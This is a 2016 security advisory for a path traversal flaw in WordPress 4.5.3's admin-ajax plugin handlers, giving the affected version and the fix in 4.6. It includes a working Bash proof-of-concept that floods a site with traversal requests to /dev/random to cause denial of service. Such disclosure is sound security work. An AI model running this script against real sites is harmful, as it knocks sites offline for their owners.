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WordPress 4.5.3 Core Ajax Handlers Path Traversal

WordPress 4.5.3 Core Ajax Handlers Path Traversal
Posted Aug 22, 2016
Authored by Yorick Koster, Securify B.V.

WordPress version 4.5.3 suffers from a path traversal vulnerability in the core ajax handlers.

tags | exploit, file inclusion
MD5 | 86202315200d9f97b0bc453c74dc5b93

WordPress 4.5.3 Core Ajax Handlers Path Traversal

Change Mirror Download
------------------------------------------------------------------------
Path traversal vulnerability in WordPress Core Ajax handlers
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A path traversal vulnerability was found in the Core Ajax handlers of
the WordPress Admin API. This issue can (potentially) be used by an
authenticated user (Subscriber) to create a denial of service condition
of an affected WordPress site.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0036

------------------------------------------------------------------------
See also
------------------------------------------------------------------------
#37490 - Improve capability checks in wp_ajax_update_plugin() and
wp_ajax_delete_plugin()

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the WordPress version 4.5.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
WordPress version 4.6 mitigates this vulnerability by moving the CSRF
check to the top of the affected method(s).

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html

Proof of concept

The following Bash script can be used to trigger the denial of service condition.

#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)

# login
curl --cookie-jar "$cookiejar" \
--data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
"$target/wp-login.php" \
>/dev/null 2>&1

# exhaust apache
for i in `seq 1 1000`
do
curl --cookie "$cookiejar" \
--data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
"$target/wp-admin/admin-ajax.php" \
>/dev/null 2>&1 &
done

rm "$cookiejar"

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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